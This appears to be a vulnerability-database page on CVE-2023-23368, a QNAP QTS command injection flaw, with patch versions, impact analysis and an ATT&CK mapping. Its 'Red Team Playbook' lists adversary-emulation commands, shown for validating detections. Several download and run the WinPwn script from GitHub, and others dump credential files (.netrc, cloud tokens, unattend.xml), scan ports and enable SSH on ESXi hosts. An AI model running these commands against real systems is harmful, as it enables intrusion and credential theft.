CVE-2023-23368

CRITICAL Pub 03/11 Upd 27/02

Overview

This vulnerability is an OS command injection flaw rooted in improper input validation within QNAP QTS operating system components. The affected modules fail to sanitize user-supplied input before passing it to system-level command execution functions, enabling injection of arbitrary shell commands. The issue specifically impacts the command execution interfaces exposed over the network in multiple QNAP QTS versions.

Vulnerability Description

An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.0.1.2376 build 20230421 and later QTS 4.5.4.2374 build 20230416 and later QuTS hero h5.0.1.2376 build 20230421 and later QuTS hero h4.5.4.2374 build 20230417 and later QuTScloud c5.0.1.2374 and later

Impact

An unauthenticated attacker with network access can execute arbitrary OS commands remotely, potentially leading to full system compromise including data theft, service disruption, or lateral movement within the network. The vulnerability requires no user interaction or authentication (CVSS: AV:N/AC:L/PR:N/UI:N), making exploitation straightforward in exposed environments. This could result in unauthorized control over affected QNAP NAS devices and compromise of sensitive data stored therein.

Solution

QNAP has released security updates addressing this vulnerability in QTS versions 5.0.1.2376 build 20230421 and later, QTS 4.5.4.2374 build 20230416 and later, QuTS hero h5.0.1.2376 build 20230421 and h4.5.4.2374 build 20230417 and later, as well as QuTScloud c5.0.1.2374 and later. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at QNAP's official security advisory: https://www.qnap.com/en/security-advisory/qsa-23-31

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

An OS command injection vulnerability has been identified in several versions of the QNAP operating system, which allows attackers to execute arbitrary commands on the affected systems. This type of vulnerability arises when an application improperly sanitizes user input, allowing malicious users to inject commands that the operating system will execute. In this case, the flaw exists within the network-facing components of the QNAP operating system, making it particularly dangerous as it can be exploited remotely. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to affected systems.

Attack vectors for this vulnerability primarily involve network-based exploitation. An attacker could leverage crafted requests to the vulnerable system, injecting malicious commands that the system would execute with the privileges of the user running the application. This could lead to a variety of harmful outcomes, including unauthorized access to sensitive data, installation of malware, or even complete system compromise. Scenarios may include an attacker gaining access to administrative functions or manipulating the system to perform actions that could disrupt services or exfiltrate data. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations using affected versions of the QNAP operating system.

The real-world impact of this vulnerability can be severe, especially for businesses that rely on QNAP devices for data storage and management. Successful exploitation could lead to data breaches, loss of sensitive information, and significant operational disruptions. The financial implications could be substantial, encompassing costs related to incident response, system recovery, and potential regulatory fines if data protection laws are violated. Moreover, the reputational damage resulting from a security breach can have long-lasting effects on customer trust and business relationships. Organizations must recognize the critical nature of this vulnerability and the potential risks associated with its exploitation.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all QNAP devices are updated to the latest versions that have addressed this vulnerability. Regular patch management practices should be established to minimize the risk of exploitation. Additionally, network security measures such as firewalls and intrusion detection systems can help identify and block malicious traffic attempting to exploit the vulnerability. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. Training employees on security best practices can further reduce the risk of exploitation by ensuring that they are aware of the dangers of command injection attacks.

In conclusion, the OS command injection vulnerability affecting QNAP operating systems presents a significant threat to organizations utilizing these devices. The potential for remote exploitation, combined with the severe consequences of a successful attack, necessitates immediate attention and action. By prioritizing timely updates, implementing robust security measures, and fostering a culture of cybersecurity awareness, organizations can better protect themselves against this and similar vulnerabilities in the future. Addressing such vulnerabilities proactively is essential to maintaining the integrity, confidentiality, and availability of critical business data.

Affected Products (45)

Vendor Product Version CPE
qnap Qnap Qts 5.0.1 cpe:2.3:o:qnap:qts:5.0.1:-:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2034 cpe:2.3:o:qnap:qts:5.0.1.2034:build_20220515:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2079 cpe:2.3:o:qnap:qts:5.0.1.2079:build_20220629:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2131 cpe:2.3:o:qnap:qts:5.0.1.2131:build_20220820:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2137 cpe:2.3:o:qnap:qts:5.0.1.2137:build_20220826:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2145 cpe:2.3:o:qnap:qts:5.0.1.2145:build_20220903:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2173 cpe:2.3:o:qnap:qts:5.0.1.2173:build_20221001:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2194 cpe:2.3:o:qnap:qts:5.0.1.2194:build_20221022:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2234 cpe:2.3:o:qnap:qts:5.0.1.2234:build_20221201:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2248 cpe:2.3:o:qnap:qts:5.0.1.2248:build_20221215:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2277 cpe:2.3:o:qnap:qts:5.0.1.2277:build_20230112:*:*:*:*:*:*
qnap Qnap Qts 5.0.1.2346 cpe:2.3:o:qnap:qts:5.0.1.2346:build_20230322:*:*:*:*:*:*
qnap Qnap Qts 4.5.4 cpe:2.3:o:qnap:qts:4.5.4:-:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1715 cpe:2.3:o:qnap:qts:4.5.4.1715:build_20210630:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1723 cpe:2.3:o:qnap:qts:4.5.4.1723:build_20210708:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1741 cpe:2.3:o:qnap:qts:4.5.4.1741:build_20210726:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1787 cpe:2.3:o:qnap:qts:4.5.4.1787:build_20210910:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1800 cpe:2.3:o:qnap:qts:4.5.4.1800:build_20210923:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1892 cpe:2.3:o:qnap:qts:4.5.4.1892:build_20211223:*:*:*:*:*:*
qnap Qnap Qts 4.5.4.1931 cpe:2.3:o:qnap:qts:4.5.4.1931:build_20220128:*:*:*:*:*:*
+25 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-23368
qnap.com
GitHub CVE
https://www.qnap.com/en/security-advisory/qsa-23-31